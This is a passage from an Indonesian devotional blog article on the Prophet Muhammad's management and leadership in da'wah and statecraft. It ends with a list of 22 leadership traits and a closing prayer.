D. Rasul shallallahu ‘alaihi wasallam mengetahui bahwa pasukan kaum Musyrikin Mekkah berkoalisi dengan berbagai Kabilah yang ada di sekitar Madinah dan juga kaum Yaghudi yang tinggal di Madinah untuk menyerang Rasulullah dan kaum Muslimin di Madinah, maka Rasulullah bermusyawarah dengan para Sahabat untuk mencari strategi yang terbaik menggagalkan rencana jahat pasukan multinasional kaum kafir tersebut. Lalu Salman Al-Farisi mengusulkan agar membangun parit. Rasulullahpun menerima usulan tersebut dan sebagai mana biasa, Rasulullah memenej sendiri pekerjaan penggalian parit tersebut dan terlibat secara langsung. Sebagaimana kebiasaan Rasuluillah memotivasi para Sahabat sambil bersenandung :” Yaa Allah, tidak ada kehidupan yang hakiki kecuali kehidupan akhirat. Sebab itu ampunilah kamum Anshar dan Muhajirin”. Mendengar ungkapan tersebut, para Sahabatpun menjawabnya : Kami adalah kaum telah berbai’at kepada Muhammad untuk berjihad sepanjang hidip.
Dari empat kasus yang dijelaskan di atas, jelas sekali bahwa Rasulullahshallallahu ‘alaihi wasallam dalam berinteraksi sosial dengan para Sahabat dan umatnya dalam berbagai kondisi dan sitausi mengirimkan beberpa pesan yang sangat mulia dan mahal dari sisi manajemen dan leadership yang Beliau terapkan. Beberapa karekteristik manajemen dan leadership tersebut dapat kita tangkap sebagai berikut:
  1. Sifat keikutsertaan dan kebersamaan dalam melakukan suatu program yang Beliau rancang dan tetapkan.
  2. Tawadhu’ atau rendah hati dalam pergaulan dan interaksi dengan para Sahabat dan pengikutnya.
  3. Mendahulukan kepentingan orang lain ketimbang kepentingan diri Beliau.
  4. Sangat piawai dalam bergaul sehingga para Sahabat dan pengikutnya tidak merasa dikelas-duakan, bahkan sama dengan Beliau dalam beramal dan berbuat.
  5. Sangat mencintai para Sahahat dan umatnya seperti Beliau mencintai diri dan keluarganya. Beliau siap capek, sakit dan bahkan bersabung nyawa akibat ancaman kaum kafir demi kasih sayang pada umatnya.
  6. Selalu menjaga penampilan yang bersih dan rapih bahkan wangi agar para Sahabat dan pengikutnya nyaman bergaul dan berdekat-dekat dengan Beliau. Dengan demikian, tidak ada perasaan dan fikiran negatif muncul dari para Sahabat. Yang muncul dari mereka tentang Rasulullah adalah perasaan senang, nyaman dan fikiran positif.
  7. Menempatkan para Sahabat semuanya sama di hadapan Allah. Yang paling mulia di antara mereka di sisi Allah adalah yang paling baik dan yang paling sempurna taqwanya.                                                                                                      
3. Sisi Manajemen dan Leadership Dakwah
Dalam menyampaikan dakwah Islam, Rasulullah shallallahu ‘alaihi wasallamtiada duanya. Betapa tidak, dalam waktu singkat, yakni 23 tahun saja dakwah Islam sudah menggema hampir ke seluruh dunia. Nilai-nilai Islam yang Beliau sampaikan persis sama antara teori dan prakteknya sehingga tidak ada cacat pribadi apalagi cacat ajaran atau nilai yang didakwahkan Beliau kepada manusia.
Keberhasilan Rasulullah dalam berdakwah di antaranya disebabkan manajemen dan leadership yang Beliau terapkan berdasarkan bimbingan Allah Subhanahu Wata’ala. Di antaranya tergambar dalam beberapa kasus berikut :
A. Sebagai leader / pemimpin utama dakwah, beliau menguasai penuh dakwah yang didakwahkan baik teori maupun prakteknya. Sebab itu, Beliau sangat yakin akan kemenangannya seperti yang Beliau katakan pada Khabbab Ibnul Irt saat meminta didoakan agart datang kemenangan dan pertolongan saat di Mekkah. “Demi Allah agama ini pasti menang sehingga orang dapat berjalan dari Shan’a ke Hadhramaut (keduanya kota di Yaman) berjalan dengan aman, namun kalin kaum yang tergesa-gesa”.
B. Sebagai leader / pemimpin utama dakwah, Beliau memiliki kemampuan yang sangat prima dalam menyampaikan dakwah dan meyakinkan manusia yang didakwahinya kepada ajaran dan nilai-nilai yang terkandung dalam dakwah tersebut.
C. Sebagai leader / pemimpin utama dakwah, Beliau mampu mentarbiyah atau membina dan mengorganisasikan serta memenej sumber daya masnusia Muslimnya dalam sebuah organisasi atau jamaah yang efektif dan produktif sesuai dengan potensi pasing-masing anggota jamaah.
D. Sebagai leader/pemimpin, Rasulullah berhasil membangun tsiqah kamilah(percaya penuh) dalam diri para pengikutnya terhadap kepemimpinan Beliau. Faktor yang paling kuat yang melahirkan tsiqah kamilah dalam diri para Sahabat ialah karena pribadi Rasulullah adalah teladan yang sempurna dalam semua sisi kehidupan dan tidak ada paradok (pertentangan) antara teori dan prakteknya dan bahkan Beliau seringkali yang mencontohkan apa yang menjadi pemikiran dan anjurannya.
E. Sebagai leader/pemimpin, Rasulullah mampu mengenal setiap potensi postif yang ada dalam diri para Sahabat, baik potensi imaniyah, khuluqiyyah, fikriyyah dan sebagainya sehinga dikembangkan dan diarahkan sebaik mungkin. Pada waktu yang sama, Beliau juga memahami peninggalan-peninggalan sifat jahiliyah yang ada dalam diri para Sahabat sehingga Beliau menterapinya secara bertahap dan maksimal. Dengan demikian, potensi-potensi positif para Sahabat dan para pengikut Beliau mengalami perkembangan dan pertumbuhan terus dan pada waktu yang sama, bekas-bekas sifat jahiliyah yang masih tersisa dalam diri mereka dapat hilang secara bertahap sehingga mereka benar-benar menjadi pribadi-pribadi yang bersih. Metode yang diterapkan Rasulullah dalam menterapi para Sahabat terkenal dengan nama “tazkiyatunnafs”.
F. Sebagai leader/pemimpin, Rasulullah mampu mengatasi probelam / masalah yang muncul seketika. Kalau Rasulullah belum yakin pada penyelsainnya, biasanya Beliau diam sampai turun wahyu yang menjelaskan solusi dan inti permasalahanya, seperti “haditsul ifk” (peristiwa tuduhan palsu) terhadap istri Beliau ‘Aisyah berbuat serong dengan Shafwan. Dengan kemampuan tersebut, Rasulullah dapat menjalankan tugas Beliau dengan baik dan maksimal sebagai seorang pemimpin tanpa disbukkan oleh issu atau hal-hal yang tidak perlu.
G. Sebagai seorang leader/pemimpin, Rasulullah memiliki kemampuan yang luar biasa dalam menyelsaikan permasalahan-permasalah yang muncul di kalangan para Sahabat dan pengikutnya. Banyangkan, memenej kaum Muhajirin sebagai pendatang di Madinah yang memiliki karakter pedagang, keras dan tegas dengan kamu Anshar sebagai kaum pribumi di Madinah yang kebanyakan mereka hdiup sebagai petani yang lembut, santun dan kadang terkesan lamban, bukanlah perkara mudah. Rasulullah memahami kunci rahasianya, yakni dengan menciptakan persaudaraan Iman (ukhuwwah Imaniyyah) di antara mereka. Kalau iman sudah menjadi dasar ikatan, maka ikatan-ikatan lain seperti nasionalisme, suku, bahasa, warna kulit, status sosial dan sebagainya tidak lagi menjadi dominan dan pegangan seseorang. Karena ikatan iman adalah ikatan hakiki untuk meraih keselamatan dan kebahagiaan dunia dan akhirat.
H. Sebagai leader/pemimpin, Raulullah memiliki pandangan yang jauh ke depan (long vision). Long vision ini tentulah berdasarkan risalah Islam itu sendiri yang cakupan waktunya sampai akhir zaman, yakni sampai akhir umur dunia ini. Untuk membuktikan betapa jauhnya pandangan Rasulullah ke depan, beliau melakukan langlah-langlah berikut Pertama, Mentarbiyah dan mengkader para Sahabat dan pengikutnya dengan tarbiyah yag kuat dan sempurna dalam semua sisi diri; sisi imani, fikri (intelektualitas), jasadi, siyasi, jihadi dan iqtishadi persis berdasarkan wahyu yang Allah turunkan pada Beliau, tanpa sedikitpun mendahulukan pandangan-pandangan atau perasaan pribadi, kendati Beliau sangat cerdas dalam segala sisi. “ Dan dia tidak berfikir/berkata kecuali berdasar wahyu yang diwahyukan padanya” (Surah An-Najm : 3 & 4).
Tarbiyah Nabawiyyah inilah yang melahirkan the best generation (khairu Ummah) yang mejadi ulama, da’i dan mujahid-mujahid besar yang di tangan merekalah tersebar Islam ke seluruh penjuru dunia. Tarbiyah yang Rasulullah jalankan ini bukan hanya melahirkan generasi terbaik di zamannya, melain mampu pula mewariskannya dengan baik dan secara kontinu dari satu generasi ke generasi berikutnya selama lebih kurang 13 abad lamanya.
Kedua, Mendirikan sebuah negara yang kuat di Madinah yang dibangun di atas dasar kekuatan Iman, Islam, ukhuwwah imaniyyah, hijrah dan jihad, sumber daya manusia yang sangat berkualitas dan sistem kenegaraan yang sangat moderen mencakup aturan sesama kaum Muslimin, anatar kaum Muslimin dengan penganut agama lain dan hubungan internasional (antara Negera Madinah dan Negara-negara lain yang kuat saat itu) dengan mengirim surat diplomatik Islam kepada para pemimpin yang memiliki pengaruh kuat saat itu. Negara yang dibangun Rasulullah tersebut bukan hanya kuat dalam sisi konseptual, melainkan kuat pula dalam menghadapi seranagan dan upaya-upaya penghancuran yang dilakukan kekuatan-kekuatan dunia saat itu sehingga berfungsi sebagai pelindung masyarakat dan rakyat yang tinggal di dalamnya dan pada waktu yang sama kuat pula dijadikan sebagai munthalaq (base camp) penyebaran risalah Islam ke seluruh dunia. Sampai hari ini kita masih bisa menyaksikan kehebatan dan keisitimewaan kota Madinah yang dibangun Rasulullah tersebut.
Ketiga, Berhasil menanamkan pada para Sahabat dan pra pengikutnya, bahwa di balik risalah Islam yang sangat hak dan adil yang diperjuangkan siang dan malam itu tidak lain adalah jalan menuju kebahagiaan akhirat, yakni ridho dan syurga Allah yang kekal abadi, bukan kepentingan dunia yang tidak seberapa lagi fana. Hasilnya, mereka adalah orang-orang yang berorientasi akhirat dan terlepas dari penyakit “wahn” (cinta dunia dan takut mati”. Sebab itu tidak heran, seberat apapun tantangan dan ujian, sesulit apapun jalan kemenangan Islam dan sebahaya apaun jalan dakwah yang mereka alami, bagi mereka terasa ringan dan menyenangkan. Bahkan saat-saat yang paling sulit sekalipun, yakni saat dikepung musuh, generasi Sahabat Rasulullah, malah menjadikannya momen yang menyenangkan, menambah keimanan, ketakwaan dan tawakkal pada Allh. “yaitu orang-orang berkata kepada mereka, sesungguhnya manusia sedang berkumpul untuk menyerang kalian, maka takutlah kalian. (Peristiwa itu) malah menambah keimanan mereka dan mereka berkata : Cukuplah Allah bagi kami dan Di adalah sebaik-baik tempat menyerahkan diri”. (Surah Ali Imran : 173).
4. Sisi Manajemen Leadership Negara dan Pemerintahan
Tidak diragukan manajemen dan leadrseip/kepemimpinan Rasulullahshallallahu ‘alaihi wasalam atas negara dan pemerintahannya sangat sempurna dan tidak ada bandingannya dalam sejarah negara dan pemerintahan manapun di dunia.
Ada beberpa karakteristik Negara dan pemerintahan Rasulullah yang membedakanya dengan negara dan pemerintahan yang ada seperti Persia, Romawi dan sebagainya. Di antarnya :
A. Negara dan pemerintahan Rasulullah dibangun atas perintah Allah dengan landasan mentauhidkan Allah sebagai Tuhan Pemcipta alam semesta (Tauhid Rububiyyah), Tuhan yang berhak disembah (Tauhid Uluhiyyah/Ubudiyyah) dan Tuhan yang memeliki nama dan sifat yang amat agung, mulia dan sempurna (Tauhidul Asma’ dan As-Sifat). (As-Syura : 13 – 15)
B. Dalam menjalankan dan mememenej Negara dan pemerintahan, Raslullah berpegang teguh pada wahyu Allah dalam semua aspeknya seperti, aspek hukum, perundang-udangan, keuangan Negara, bisnis, ekonomi, pelayanan sosial, pendidkan, jihad (pertahanan dan keamanan) dan seterusnya. (Al-Maidah : 49 – 50). Dengan demikian, sandaran atau tempat tawakkal Rasulullah hanya Allah terwijud dalam kehidupan nyata.
C.Sebagai pemimpin tertinggi pemerintahan Islam, Rasulullah juga merangkap sebagai panglima perang. (Al-Anfal : 60 – 65)
D. Sebagai kepala Negara, Rasulullah juga sebagai Hakim Agung yang sangat adil dan tak pernah melakukan tebang pilih dalam penegakan hukum, kendati terhadap keluarga terdekat sekalipun. (An-Nisa’ :58 dan 65)
E. Sebagai kepala Negara, Rasulullah juga sebagai legislator dalam batas-batas yang Allah tentukan. (Al-Hasyar : 7) Bahkan Allah menjamin semua yang diucapkan dan diputuskan Rasulullah sudah sudah menjadi hukum dan peraturan dan dianggap sesuai dengan wahyu-Nya. (An-Najm : 2 -5) Jika tidak sesuai, Allah langsung menegur Beliau agar dibatalkan atau disesuaikan dengan wahyu-Nya. (At-Tahrim: 1)
F. Sebagai kepala Negara dan pemerintahan, Rasulullah juga sebagai Da’i (penyeru risalah Islam) utama dalam menyampaikan, mengajarkan, menerapkan dan mendakwahkan ajaran islam kepada umatnya dan kepada semua masnusia tanpa terkecuali, baik Arab maupun Ajam (non Arab). (Al-Ahzab : 45 – 48 dan Saba’ : 28)
G. Dalam praktek manajemen dan leadership Rasulullah dalam Negara dan pemerintahan, Beliau mampu memposisikan diri sebagai ayah, sebagai guru ilmu, sebagai guru ruhy (spiritual) dan sebagai panglima perang. Lengkaplah sudah sisi manajemen dan leadership yang Rasulullah ajarkan dan amalkan sehingga Beliau menjadi sosok keteladanan yang sempurna bagai orang yang mengharapkan syurga Allah dan bertemu dengan-Nya di akhirat kelak. (Al-Ahzab : 21)
Sesungguhnya rahasia keberhasilan manajemen dan leadership Rasulullahshallallahu ‘alaihi wasalam dalam semua sisi kehidupan seperti yang dijelaskan di atas merupakan taufiq dan bimbingan Allah Subahanahu Wata’ala. Rasulullah adalah hamba pilihan Allah yang sangat spesial sehingga memiliki sifat-sifat dan kepribadian yang sangat mulian dan sempurna dalam memenej dan memimpin negera dan kehidupan uamatnya. Jika kita ingin sukses dalam menjalankan kehidupan sekarang ini, baik sebagai anggota masyaralat, kepala rumah tangga, pemimpin kelompok/jamaah dakwah dan bahkan pemimpin Negara, kita harus siap mencontoh style manajemen dan leadership Rasulullah shallallahu ‘alaihi wasalam.
Syekh Yusuf Muhyiddin Fayiz Al-Asthul menjelaskan, tidak kurang dari 22 sifat manajerial dan leadership yang dimiliki Rasulullah. Semua sifat tersebut dapat dilihat dengan jelas melalui berbagai kasus dan kondisi yang dialami Rasulullah selama 23 tahun umur dakwah dan jihad yang Beliau jalankan. Ke 22 sifat tersebut ialah :
  1. Memiliki keinginan dan tekad baja.
  2. Sabar, lapang dada dan kemampuan menghadapi resiko.
  3. Rasa tanggung jawab yang sangat tinggi dan kemampuan memikulnya.
  4. Memiliki visi dan startegi jangka panjang.
  5. Mampu mengendalikan emosi sehingga setiap langkah dan strategi diputuskan dengan tenang, tidak dengan tergesa-gesa.
  6. Mengikatkan para pengikutnya kepada akidah, pemikiran dan prinsip-prinsip Islam, dan bukan kepada pribadi/manusia.
  7. Menjadikan Syura sebagai prinsip utama manajemen dan kepemimpinan.
  8. Fleksibelitas dalam penerapam kepemimpinan dalam hal-hal teknis dan tidak terkait prinsip.
  9. Menguasai dan memahami betul kemampuan setiap pengikut dan prajurutnya.
10. Mampu menyusun job description para prajurut dan Sahabatnya sesuai kapasitas dan kemampuan yang mereka miliki.
11. Terlibat secara langsung melakukan apa yang diperintahkan pada parajurit dan Sahabatnya.
12. Kemampuan menyimpan rahasia dan membuat alibi yang tepat, tanpa melakukan kebohongan.
13. Kemampuan mengenal psikologi musuh dan apa jalan yang tebaik untuk mempengaruhi mereka.
14. Kemampuan melakukan perang saraf.
15. Kemampuan meredam berbagai serangan dan pukulan berat yang datang dari musuh.
16. Tegar dalam prinsip dan mampu memenej masa-masa kritis dan issu negatif yang dimunculkan musuh.
17. Memahami berita dan kondisi politik negara-negara di sekitar serta perkembangannya.
18. Mengajarkan leadership kepada para Sahabat sejak dini.
19. Kemampuan mencetak para leader/qadah dalam berbagai lapangan.
20. Pemaaf dan toleran dalam hal-hal yang bukan prinsip.
21. Tawadhu’ (rendah hati) dan mau mendengarkan dengan baik masukan Sahabat dan prajuritnya sampai yang memebri masukan selesai berbicara.
22. Kemampuan mengontrol dan mengevaluasi.
Demilkianlah 4 sisi manajemen dan leadership/kepemimpinan Rasulullahshallallahu ‘alaihi wasalam. Tulisan pendek ini tentulah tidak mampu mencerminkan keindahan dan keistimewaan manajemen dan leadershipRasulullah dengan lengkap dan sempurna. Mari kita perlajari siroh Rasulullah secara mendalam agar kita dapat memahami bahwa dalam masa yang tidak terlalu lama, yakni 23 tahun dakwah, Rasulullah berhasil menerapkan semua nilai dan konsep Islam menjadi sebuah realitas kehidupan dalam semua aspeknya. Inilah yang memudahkan generasi-generasi berikutnya untuk meyakini, menerapkan dan mendakwahkan Islam ke seluruh penjuru alam.
Apa yang dijalankan dan dilakukan Rasulullah bukanlah perkara biasa, melaikan suatu mukjizat yang bermuara dari Kehendak dan Kekuasaan Allah Ta’ala, Tuhan semesta alam. Sedangkan Beliau tidak lain adalah manusia seperti manusia lainnya. Jika kita ingin mengulangi Mukjizat Robbani tersebut sehingga dapat mengeluarkan uamat Islam yang sedang terperosok ke dalam berbagai jurang kehidupan saat ini, maka tidak lain yang kita lakukan kecuali mengikuti apa yang dilakukan Rasulullah shallallahu ‘alaihi wasalamdan menjadikan Beliau sebagai teladan utama dalam semua sisi kehidupan.Kita tidak perlu mencari teladan lain selain Beliau karena hanya akan menyebabkan kegagalan demi kegagalan sebagaimana yang dialami umat Islam sekitar satu abad belakangan ini. Nilai dan manhaj yang dibawa Rasulullah sudah Allah rancang akan selalu sesuai dengan zaman, sampai dunia ini Allah hancurkan. Allah menjelaskan :
“Sungguh dalam diri Rasulullah itu terdapat keteladan yang yang baik bagi kalian; yakni bagi orang-orang yang berharap (berjumpa) Allah dan akhirat (syurga), dan mengingat Allah dengan banyak. Dan ketika kaum Mukmin melihat pasukan multinasional itu, maka mereka berkata : Ini adalah apa yang dijanjikan Allah dan Rasul-Nya dan benarlah Allah dan Rasul-Nya. Dan (peristiwa itu) tidak menambah bagi mereka kecuali keimanan dan penyerahan diri secara total (kepada Allah)”. (Surah Al-Ahzab : 21 & 22)
Yaa Rabb… Kami mencintai-Mu dan Rasul-Mu Muhammad shallallahu ‘alaihi wasalam, maka anugerahkanlah kepada kami kemampuan untuk menjadikan Rasulullah Muhammad shallallahu ‘alaihi wasalam teladan utama dalam menjalankan kehidupan ini agar kami selamat di dunia dan dapat berkumpul bersamanya kelak dalam syurga-Mu.
Copyright @ 2013 trik n tips. Designed by Templateism | MyBloggerLab

my tweet

About Metro